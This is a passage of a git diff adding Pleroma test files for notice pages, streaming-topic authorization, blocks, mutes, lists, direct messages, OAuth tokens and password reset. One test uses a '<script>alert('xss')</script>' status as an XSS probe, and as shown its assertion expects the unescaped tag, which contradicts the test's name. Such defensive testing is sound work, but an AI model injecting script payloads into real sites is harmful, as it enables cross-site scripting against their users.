get("/notice/#{activity.id}") + + assert redirected_to(conn, 302) =~ activity.data["object"] + end + + test "filters HTML tags", %{conn: conn} do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "<script>alert('xss')</script>"}) + + conn = + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{activity.id}") + + html = html_response(conn, 200) + assert html =~ ~s[<script>alert('xss')</script>] + end + + test "shows the whole thread", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "space: the final frontier"}) + + CommonAPI.post(user, %{ + status: "these are the voyages or something", + in_reply_to_status_id: activity.id + }) + + conn = get(conn, "/notice/#{activity.id}") + + html = html_response(conn, 200) + assert html =~ "the final frontier" + assert html =~ "voyages" + end + + test "redirect by AP object ID", %{conn: conn, user: user} do + {:ok, %Activity{data: %{"object" => object_url}}} = + CommonAPI.post(user, %{status: "beam me up"}) + + conn = get(conn, URI.parse(object_url).path) + + assert html_response(conn, 302) =~ "redirected" + end + + test "redirect by activity ID", %{conn: conn, user: user} do + {:ok, %Activity{data: %{"id" => id}}} = + CommonAPI.post(user, %{status: "I'm a doctor, not a devops!"}) + + conn = get(conn, URI.parse(id).path) + + assert html_response(conn, 302) =~ "redirected" + end + + test "404 when notice not found", %{conn: conn} do + conn = get(conn, "/notice/88c9c317") + + assert html_response(conn, 404) =~ "not found" + end + + test "404 for private status", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "don't show me!", visibility: "private"}) + + conn = get(conn, "/notice/#{activity.id}") + + assert html_response(conn, 404) =~ "not found" + end + + test "302 for remote cached status", %{conn: conn, user: user} do + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => user.follower_address, + "cc" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Create", + "object" => %{ + "content" => "blah blah blah", + "type" => "Note", + "attributedTo" => user.ap_id, + "inReplyTo" => nil + }, + "actor" => user.ap_id + } + + assert {:ok, activity} = Transmogrifier.handle_incoming(message) + + conn = get(conn, "/notice/#{activity.id}") + + assert html_response(conn, 302) =~ "redirected" + end + + test "it requires authentication if instance is NOT federating", %{conn: conn, user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "testing a thing!"}) + + ensure_federating_or_authenticated(conn, "/notice/#{activity.id}", user) + end + end +end diff --git a/test/pleroma/web/streamer_test.exs b/test/pleroma/web/streamer_test.exs new file mode 100644 index 000000000..185724a9f --- /dev/null +++ b/test/pleroma/web/streamer_test.exs @@ -0,0 +1,767 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.StreamerTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Conversation.Participation + alias Pleroma.List + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Streamer + alias Pleroma.Web.StreamerView + + @moduletag needs_streamer: true, capture_log: true + + setup do: clear_config([:instance, :skip_thread_containment]) + + describe "get_topic/_ (unauthenticated)" do + test "allows public" do + assert {:ok, "public"} = Streamer.get_topic("public", nil, nil) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", nil, nil) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", nil, nil) + assert {:ok, "public:local:media"} = Streamer.get_topic("public:local:media", nil, nil) + end + + test "allows hashtag streams" do + assert {:ok, "hashtag:cofe"} = Streamer.get_topic("hashtag", nil, nil, %{"tag" => "cofe"}) + end + + test "disallows user streams" do + assert {:error, _} = Streamer.get_topic("user", nil, nil) + assert {:error, _} = Streamer.get_topic("user:notification", nil, nil) + assert {:error, _} = Streamer.get_topic("direct", nil, nil) + end + + test "disallows list streams" do + assert {:error, _} = Streamer.get_topic("list", nil, nil, %{"list" => 42}) + end + end + + describe "get_topic/_ (authenticated)" do + setup do: oauth_access(["read"]) + + test "allows public streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + with oauth_token <- [nil, read_oauth_token] do + assert {:ok, "public"} = Streamer.get_topic("public", user, oauth_token) + assert {:ok, "public:local"} = Streamer.get_topic("public:local", user, oauth_token) + assert {:ok, "public:media"} = Streamer.get_topic("public:media", user, oauth_token) + + assert {:ok, "public:local:media"} = + Streamer.get_topic("public:local:media", user, oauth_token) + end + end + + test "allows user streams (with proper OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_notifications_token} = oauth_access(["read:notifications"], user: user) + %{token: read_statuses_token} = oauth_access(["read:statuses"], user: user) + %{token: badly_scoped_token} = oauth_access(["irrelevant:scope"], user: user) + + expected_user_topic = "user:#{user.id}" + expected_notification_topic = "user:notification:#{user.id}" + expected_direct_topic = "direct:#{user.id}" + expected_pleroma_chat_topic = "user:pleroma_chat:#{user.id}" + + for valid_user_token <- [read_oauth_token, read_statuses_token] do + assert {:ok, ^expected_user_topic} = Streamer.get_topic("user", user, valid_user_token) + + assert {:ok, ^expected_direct_topic} = + Streamer.get_topic("direct", user, valid_user_token) + + assert {:ok, ^expected_pleroma_chat_topic} = + Streamer.get_topic("user:pleroma_chat", user, valid_user_token) + end + + for invalid_user_token <- [read_notifications_token, badly_scoped_token], + user_topic <- ["user", "direct", "user:pleroma_chat"] do + assert {:error, :unauthorized} = Streamer.get_topic(user_topic, user, invalid_user_token) + end + + for valid_notification_token <- [read_oauth_token, read_notifications_token] do + assert {:ok, ^expected_notification_topic} = + Streamer.get_topic("user:notification", user, valid_notification_token) + end + + for invalid_notification_token <- [read_statuses_token, badly_scoped_token] do + assert {:error, :unauthorized} = + Streamer.get_topic("user:notification", user, invalid_notification_token) + end + end + + test "allows hashtag streams (regardless of OAuth token scopes)", %{ + user: user, + token: read_oauth_token + } do + for oauth_token <- [nil, read_oauth_token] do + assert {:ok, "hashtag:cofe"} = + Streamer.get_topic("hashtag", user, oauth_token, %{"tag" => "cofe"}) + end + end + + test "disallows registering to another user's stream", %{user: user, token: read_oauth_token} do + another_user = insert(:user) + assert {:error, _} = Streamer.get_topic("user:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = + Streamer.get_topic("user:notification:#{another_user.id}", user, read_oauth_token) + + assert {:error, _} = Streamer.get_topic("direct:#{another_user.id}", user, read_oauth_token) + end + + test "allows list stream that are owned by the user (with `read` or `read:lists` scopes)", %{ + user: user, + token: read_oauth_token + } do + %{token: read_lists_token} = oauth_access(["read:lists"], user: user) + %{token: invalid_token} = oauth_access(["irrelevant:scope"], user: user) + {:ok, list} = List.create("Test", user) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, read_oauth_token) + + for valid_token <- [read_oauth_token, read_lists_token] do + assert {:ok, _} = Streamer.get_topic("list", user, valid_token, %{"list" => list.id}) + end + + assert {:error, _} = Streamer.get_topic("list", user, invalid_token, %{"list" => list.id}) + end + + test "disallows list stream that are not owned by the user", %{user: user, token: oauth_token} do + another_user = insert(:user) + {:ok, list} = List.create("Test", another_user) + + assert {:error, _} = Streamer.get_topic("list:#{list.id}", user, oauth_token) + assert {:error, _} = Streamer.get_topic("list", user, oauth_token, %{"list" => list.id}) + end + end + + describe "user streams" do + setup do + %{user: user, token: token} = oauth_access(["read"]) + notify = insert(:notification, user: user, activity: build(:note_activity)) + {:ok, %{user: user, notify: notify, token: token}} + end + + test "it streams the user's post in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user, activity) + end + + test "it streams boosts of the user in the 'user' stream", %{user: user, token: oauth_token} do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + {:ok, announce} = CommonAPI.repeat(activity.id, user) + + assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} + refute Streamer.filtered_by_user?(user, announce) + end + + test "it does not stream announces of the user's own posts in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, announce} = CommonAPI.repeat(activity.id, other_user) + + assert Streamer.filtered_by_user?(user, announce) + end + + test "it does stream notifications announces of the user's own posts in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, announce} = CommonAPI.repeat(activity.id, other_user) + + notification = + Pleroma.Notification + |> Repo.get_by(%{user_id: user.id, activity_id: announce.id}) + |> Repo.preload(:activity) + + refute Streamer.filtered_by_user?(user, notification) + end + + test "it streams boosts of mastodon user in the 'user' stream", %{ + user: user, + token: oauth_token + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) + + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", user.ap_id) + + {:ok, %Pleroma.Activity{data: _data, local: false} = announce} = + Pleroma.Web.ActivityPub.Transmogrifier.handle_incoming(data) + + assert_receive {:render_with_user, Pleroma.Web.StreamerView, "update.json", ^announce} + refute Streamer.filtered_by_user?(user, announce) + end + + test "it sends notify to in the 'user' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + Streamer.get_topic_and_add_socket("user", user, oauth_token) + Streamer.stream("user", notify) + + assert_receive {:render_with_user, _, _, ^notify} + refute Streamer.filtered_by_user?(user, notify) + end + + test "it sends notify to in the 'user:notification' stream", %{ + user: user, + token: oauth_token, + notify: notify + } do + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + Streamer.stream("user:notification", notify) + + assert_receive {:render_with_user, _, _, ^notify} + refute Streamer.filtered_by_user?(user, notify) + end + + test "it sends chat messages to the 'user:pleroma_chat' stream", %{ + user: user, + token: oauth_token + } do + other_user = insert(:user) + + {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") + object = Object.normalize(create_activity, false) + chat = Chat.get(user.id, other_user.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + cm_ref = %{cm_ref | chat: chat, object: object} + + Streamer.get_topic_and_add_socket("user:pleroma_chat", user, oauth_token) + Streamer.stream("user:pleroma_chat", {user, cm_ref}) + + text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) + + assert text =~ "hey cirno" + assert_receive {:text, ^text} + end + + test "it sends chat messages to the 'user' stream", %{user: user, token: oauth_token} do + other_user = insert(:user) + + {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey cirno") + object = Object.normalize(create_activity, false) + chat = Chat.get(user.id, other_user.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + cm_ref = %{cm_ref | chat: chat, object: object} + + Streamer.get_topic_and_add_socket("user", user, oauth_token) + Streamer.stream("user", {user, cm_ref}) + + text = StreamerView.render("chat_update.json", %{chat_message_reference: cm_ref}) + + assert text =~ "hey cirno" + assert_receive {:text, ^text} + end + + test "it sends chat message notifications to the 'user:notification' stream", %{ + user: user, + token: oauth_token + } do + other_user = insert(:user) + + {:ok, create_activity} = CommonAPI.post_chat_message(other_user, user, "hey") + + notify = + Repo.get_by(Pleroma.Notification, user_id: user.id, activity_id: create_activity.id) + |> Repo.preload(:activity) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + Streamer.stream("user:notification", notify) + + assert_receive {:render_with_user, _, _, ^notify} + refute Streamer.filtered_by_user?(user, notify) + end + + test "it doesn't send notify to the 'user:notification' stream when a user is blocked", %{ + user: user, + token: oauth_token + } do + blocked = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + + {:ok, activity} = CommonAPI.post(user, %{status: ":("}) + {:ok, _} = CommonAPI.favorite(blocked, activity.id) + + refute_receive _ + end + + test "it doesn't send notify to the 'user:notification' stream when a thread is muted", %{ + user: user, + token: oauth_token + } do + user2 = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + {:ok, _} = CommonAPI.add_mute(user, activity) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + + {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) + + refute_receive _ + assert Streamer.filtered_by_user?(user, favorite_activity) + end + + test "it sends favorite to 'user:notification' stream'", %{ + user: user, + token: oauth_token + } do + user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) + + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) + + assert_receive {:render_with_user, _, "notification.json", notif} + assert notif.activity.id == favorite_activity.id + refute Streamer.filtered_by_user?(user, notif) + end + + test "it doesn't send the 'user:notification' stream' when a domain is blocked", %{ + user: user, + token: oauth_token + } do + user2 = insert(:user, %{ap_id: "https://hecking-lewd-place.com/user/meanie"}) + + {:ok, user} = User.block_domain(user, "hecking-lewd-place.com") + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + {:ok, favorite_activity} = CommonAPI.favorite(user2, activity.id) + + refute_receive _ + assert Streamer.filtered_by_user?(user, favorite_activity) + end + + test "it sends follow activities to the 'user:notification' stream", %{ + user: user, + token: oauth_token + } do + user_url = user.ap_id + user2 = insert(:user) + + body = + File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock_global(fn + %{method: :get, url: ^user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + {:ok, _follower, _followed, follow_activity} = CommonAPI.follow(user2, user) + + assert_receive {:render_with_user, _, "notification.json", notif} + assert notif.activity.id == follow_activity.id + refute Streamer.filtered_by_user?(user, notif) + end + end + + describe "public streams" do + test "it sends to public (authenticated)" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(other_user, activity) + end + + test "it sends to public (unauthenticated)" do + user = insert(:user) + + Streamer.get_topic_and_add_socket("public", nil, nil) + + {:ok, activity} = CommonAPI.post(user, %{status: "Test"}) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "update", "payload" => payload} = Jason.decode!(event) + assert %{"id" => ^activity_id} = Jason.decode!(payload) + + {:ok, _} = CommonAPI.delete(activity.id, user) + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end + + test "handles deletions" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "Test"}) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + + {:ok, _} = CommonAPI.delete(activity.id, other_user) + activity_id = activity.id + assert_receive {:text, event} + assert %{"event" => "delete", "payload" => ^activity_id} = Jason.decode!(event) + end + end + + describe "thread_containment/2" do + test "it filters to user if recipients invalid and thread containment is enabled" do + Pleroma.Config.put([:instance, :skip_thread_containment], false) + author = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) + User.follow(user, author, :follow_accept) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["TEST-FFF"]} + ) + ) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + Streamer.stream("public", activity) + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user, activity) + end + + test "it sends message if recipients invalid and thread containment is disabled" do + Pleroma.Config.put([:instance, :skip_thread_containment], true) + author = insert(:user) + %{user: user, token: oauth_token} = oauth_access(["read"]) + User.follow(user, author, :follow_accept) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["TEST-FFF"]} + ) + ) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + Streamer.stream("public", activity) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user, activity) + end + + test "it sends message if recipients invalid and thread containment is enabled but user's thread containment is disabled" do + Pleroma.Config.put([:instance, :skip_thread_containment], false) + author = insert(:user) + user = insert(:user, skip_thread_containment: true) + %{token: oauth_token} = oauth_access(["read"], user: user) + User.follow(user, author, :follow_accept) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["TEST-FFF"]} + ) + ) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + Streamer.stream("public", activity) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user, activity) + end + end + + describe "blocks" do + setup do: oauth_access(["read"]) + + test "it filters messages involving blocked users", %{user: user, token: oauth_token} do + blocked_user = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked_user) + + Streamer.get_topic_and_add_socket("public", user, oauth_token) + {:ok, activity} = CommonAPI.post(blocked_user, %{status: "Test"}) + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user, activity) + end + + test "it filters messages transitively involving blocked users", %{ + user: blocker, + token: blocker_token + } do + blockee = insert(:user) + friend = insert(:user) + + Streamer.get_topic_and_add_socket("public", blocker, blocker_token) + + {:ok, _user_relationship} = User.block(blocker, blockee) + + {:ok, activity_one} = CommonAPI.post(friend, %{status: "hey! @#{blockee.nickname}"}) + + assert_receive {:render_with_user, _, _, ^activity_one} + assert Streamer.filtered_by_user?(blocker, activity_one) + + {:ok, activity_two} = CommonAPI.post(blockee, %{status: "hey! @#{friend.nickname}"}) + + assert_receive {:render_with_user, _, _, ^activity_two} + assert Streamer.filtered_by_user?(blocker, activity_two) + + {:ok, activity_three} = CommonAPI.post(blockee, %{status: "hey! @#{blocker.nickname}"}) + + assert_receive {:render_with_user, _, _, ^activity_three} + assert Streamer.filtered_by_user?(blocker, activity_three) + end + end + + describe "lists" do + setup do: oauth_access(["read"]) + + test "it doesn't send unwanted DMs to list", %{user: user_a, token: user_a_token} do + user_b = insert(:user) + user_c = insert(:user) + + {:ok, user_a} = User.follow(user_a, user_b) + + {:ok, list} = List.create("Test", user_a) + {:ok, list} = List.follow(list, user_b) + + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) + + {:ok, _activity} = + CommonAPI.post(user_b, %{ + status: "@#{user_c.nickname} Test", + visibility: "direct" + }) + + refute_receive _ + end + + test "it doesn't send unwanted private posts to list", %{user: user_a, token: user_a_token} do + user_b = insert(:user) + + {:ok, list} = List.create("Test", user_a) + {:ok, list} = List.follow(list, user_b) + + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) + + {:ok, _activity} = + CommonAPI.post(user_b, %{ + status: "Test", + visibility: "private" + }) + + refute_receive _ + end + + test "it sends wanted private posts to list", %{user: user_a, token: user_a_token} do + user_b = insert(:user) + + {:ok, user_a} = User.follow(user_a, user_b) + + {:ok, list} = List.create("Test", user_a) + {:ok, list} = List.follow(list, user_b) + + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) + + {:ok, activity} = + CommonAPI.post(user_b, %{ + status: "Test", + visibility: "private" + }) + + assert_receive {:render_with_user, _, _, ^activity} + refute Streamer.filtered_by_user?(user_a, activity) + end + end + + describe "muted reblogs" do + setup do: oauth_access(["read"]) + + test "it filters muted reblogs", %{user: user1, token: user1_token} do + user2 = insert(:user) + user3 = insert(:user) + CommonAPI.follow(user1, user2) + CommonAPI.hide_reblogs(user1, user2) + + {:ok, create_activity} = CommonAPI.post(user3, %{status: "I'm kawen"}) + + Streamer.get_topic_and_add_socket("user", user1, user1_token) + {:ok, announce_activity} = CommonAPI.repeat(create_activity.id, user2) + assert_receive {:render_with_user, _, _, ^announce_activity} + assert Streamer.filtered_by_user?(user1, announce_activity) + end + + test "it filters reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do + user2 = insert(:user) + CommonAPI.follow(user1, user2) + CommonAPI.hide_reblogs(user1, user2) + + {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) + Streamer.get_topic_and_add_socket("user", user1, user1_token) + {:ok, _announce_activity} = CommonAPI.repeat(create_activity.id, user2) + + assert_receive {:render_with_user, _, "notification.json", notif} + assert Streamer.filtered_by_user?(user1, notif) + end + + test "it send non-reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do + user2 = insert(:user) + CommonAPI.follow(user1, user2) + CommonAPI.hide_reblogs(user1, user2) + + {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) + Streamer.get_topic_and_add_socket("user", user1, user1_token) + {:ok, _favorite_activity} = CommonAPI.favorite(user2, create_activity.id) + + assert_receive {:render_with_user, _, "notification.json", notif} + refute Streamer.filtered_by_user?(user1, notif) + end + end + + describe "muted threads" do + test "it filters posts from muted threads" do + user = insert(:user) + %{user: user2, token: user2_token} = oauth_access(["read"]) + Streamer.get_topic_and_add_socket("user", user2, user2_token) + + {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + {:ok, _} = CommonAPI.add_mute(user2, activity) + + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user2, activity) + end + end + + describe "direct streams" do + setup do: oauth_access(["read"]) + + test "it sends conversation update to the 'direct' stream", %{user: user, token: oauth_token} do + another_user = insert(:user) + + Streamer.get_topic_and_add_socket("direct", user, oauth_token) + + {:ok, _create_activity} = + CommonAPI.post(another_user, %{ + status: "hey @#{user.nickname}", + visibility: "direct" + }) + + assert_receive {:text, received_event} + + assert %{"event" => "conversation", "payload" => received_payload} = + Jason.decode!(received_event) + + assert %{"last_status" => last_status} = Jason.decode!(received_payload) + [participation] = Participation.for_user(user) + assert last_status["pleroma"]["direct_conversation_id"] == participation.id + end + + test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted", + %{user: user, token: oauth_token} do + another_user = insert(:user) + + Streamer.get_topic_and_add_socket("direct", user, oauth_token) + + {:ok, create_activity} = + CommonAPI.post(another_user, %{ + status: "hi @#{user.nickname}", + visibility: "direct" + }) + + create_activity_id = create_activity.id + assert_receive {:render_with_user, _, _, ^create_activity} + assert_receive {:text, received_conversation1} + assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) + + {:ok, _} = CommonAPI.delete(create_activity_id, another_user) + + assert_receive {:text, received_event} + + assert %{"event" => "delete", "payload" => ^create_activity_id} = + Jason.decode!(received_event) + + refute_receive _ + end + + test "it sends conversation update to the 'direct' stream when a message is deleted", %{ + user: user, + token: oauth_token + } do + another_user = insert(:user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) + + {:ok, create_activity} = + CommonAPI.post(another_user, %{ + status: "hi @#{user.nickname}", + visibility: "direct" + }) + + {:ok, create_activity2} = + CommonAPI.post(another_user, %{ + status: "hi @#{user.nickname} 2", + in_reply_to_status_id: create_activity.id, + visibility: "direct" + }) + + assert_receive {:render_with_user, _, _, ^create_activity} + assert_receive {:render_with_user, _, _, ^create_activity2} + assert_receive {:text, received_conversation1} + assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) + assert_receive {:text, received_conversation1} + assert %{"event" => "conversation", "payload" => _} = Jason.decode!(received_conversation1) + + {:ok, _} = CommonAPI.delete(create_activity2.id, another_user) + + assert_receive {:text, received_event} + assert %{"event" => "delete", "payload" => _} = Jason.decode!(received_event) + + assert_receive {:text, received_event} + + assert %{"event" => "conversation", "payload" => received_payload} = + Jason.decode!(received_event) + + assert %{"last_status" => last_status} = Jason.decode!(received_payload) + assert last_status["id"] == to_string(create_activity.id) + end + end +end diff --git a/test/pleroma/web/twitter_api/controller_test.exs b/test/pleroma/web/twitter_api/controller_test.exs new file mode 100644 index 000000000..464d0ea2e --- /dev/null +++ b/test/pleroma/web/twitter_api/controller_test.exs @@ -0,0 +1,138 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.ControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Builders.ActivityBuilder + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.OAuth.Token + + import Pleroma.Factory + + describe "POST /api/qvitter/statuses/notifications/read" do + test "without valid credentials", %{conn: conn} do + conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567}) + assert json_response(conn, 403) == %{"error" => "Invalid credentials."} + end + + test "with credentials, without any params" do + %{conn: conn} = oauth_access(["write:notifications"]) + + conn = post(conn, "/api/qvitter/statuses/notifications/read") + + assert json_response(conn, 400) == %{ + "error" => "You need to specify latest_id", + "request" => "/api/qvitter/statuses/notifications/read" + } + end + + test "with credentials, with params" do + %{user: current_user, conn: conn} = + oauth_access(["read:notifications", "write:notifications"]) + + other_user = insert(:user) + + {:ok, _activity} = + ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user}) + + response_conn = + conn + |> assign(:user, current_user) + |> get("/api/v1/notifications") + + [notification] = response = json_response(response_conn, 200) + + assert length(response) == 1 + + assert notification["pleroma"]["is_seen"] == false + + response_conn = + conn + |> assign(:user, current_user) + |> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]}) + + [notification] = response = json_response(response_conn, 200) + + assert length(response) == 1 + + assert notification["pleroma"]["is_seen"] == true + end + end + + describe "GET /api/account/confirm_email/:id/:token" do + setup do + {:ok, user} = + insert(:user) + |> User.confirmation_changeset(need_confirmation: true) + |> Repo.update() + + assert user.confirmation_pending + + [user: user] + end + + test "it redirects to root url", %{conn: conn, user: user} do + conn = get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") + + assert 302 == conn.status + end + + test "it confirms the user account", %{conn: conn, user: user} do + get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") + + user = User.get_cached_by_id(user.id) + + refute user.confirmation_pending + refute user.confirmation_token + end + + test "it returns 500 if user cannot be found by id", %{conn: conn, user: user} do + conn = get(conn, "/api/account/confirm_email/0/#{user.confirmation_token}") + + assert 500 == conn.status + end + + test "it returns 500 if token is invalid", %{conn: conn, user: user} do + conn = get(conn, "/api/account/confirm_email/#{user.id}/wrong_token") + + assert 500 == conn.status + end + end + + describe "GET /api/oauth_tokens" do + setup do + token = insert(:oauth_token) |> Repo.preload(:user) + + %{token: token} + end + + test "renders list", %{token: token} do + response = + build_conn() + |> assign(:user, token.user) + |> get("/api/oauth_tokens") + + keys = + json_response(response, 200) + |> hd() + |> Map.keys() + + assert keys -- ["id", "app_name", "valid_until"] == [] + end + + test "revoke token", %{token: token} do + response = + build_conn() + |> assign(:user, token.user) + |> delete("/api/oauth_tokens/#{token.id}") + + tokens = Token.get_user_tokens(token.user) + + assert tokens == [] + assert response.status == 201 + end + end +end diff --git a/test/pleroma/web/twitter_api/password_controller_test.exs b/test/pleroma/web/twitter_api/password_controller_test.exs new file mode 100644 index 000000000..a5e9e2178 --- /dev/null +++ b/test/pleroma/web/twitter_api/password_controller_test.exs @@ -0,0 +1,81 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.PasswordResetToken + alias Pleroma.User + alias Pleroma.Web.OAuth.Token + import Pleroma.Factory + + describe "GET /api/pleroma/password_reset/token" do + test "it returns error when token invalid", %{conn: conn} do + response = + conn + |> get("/api/pleroma/password_reset/token") + |> html_response(:ok) + + assert response =~ "<h2>Invalid Token</h2>" + end + + test "it shows password reset form", %{conn: conn} do + user = insert(:user) + {:ok, token} = PasswordResetToken.create_token(user) + + response = + conn + |> get("/api/pleroma/password_reset/#{token.token}") + |> html_response(:ok) + + assert response =~ "<h2>Password Reset for #{user.nickname}</h2>" + end + end + + describe "POST /api/pleroma/password_reset" do + test "it returns HTTP 200", %{conn: conn} do + user = insert(:user) + {:ok, token} = PasswordResetToken.create_token(user) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) + + params = %{ + "password" => "test", + password_confirmation: "test", + token: token.token + } + + response = + conn + |> assign(:user, user) + |> post("/api/pleroma/password_reset", %{data: params}) + |> html_response(:ok) + + assert response =~ "<h2>Password changed!</h2>" + + user = refresh_record(user) + assert Pbkdf2.verify_pass("test", user.password_hash) + assert Enum.empty?(Token.get_user_tokens(user)) + end + + test "it sets password_reset_pending to false", %{conn: conn} do + user = insert(:user, password_reset_pending: true) + + {:ok, token} = PasswordResetToken.create_token(user) + {:ok, _access_token} = Token.create(insert(:oauth_app), user, %{}) + + params = %{ + "password" => "test", + password_confirmation: "test", + token: token.token + } + + conn + |> assign(:user, user) + |> post("/api/pleroma/password_reset", %{data: params}) + |> html_response(:ok) + + assert User.get_by_id(user.id).password_reset_pending == false + end + end +end diff --git a/test/pleroma/web/twitter_api/remote_follow_controller_test.exs b/test/pleroma/web/twitter_api/remote_follow_controller_test.exs new file mode 100644 index 000000000..3852c7ce9 --- /dev/null +++ b/test/pleroma/web/twitter_api/remote_follow_controller_test.exs @@ -0,0 +1,350 @@ +# Pleroma: A lightweight social networking server +# 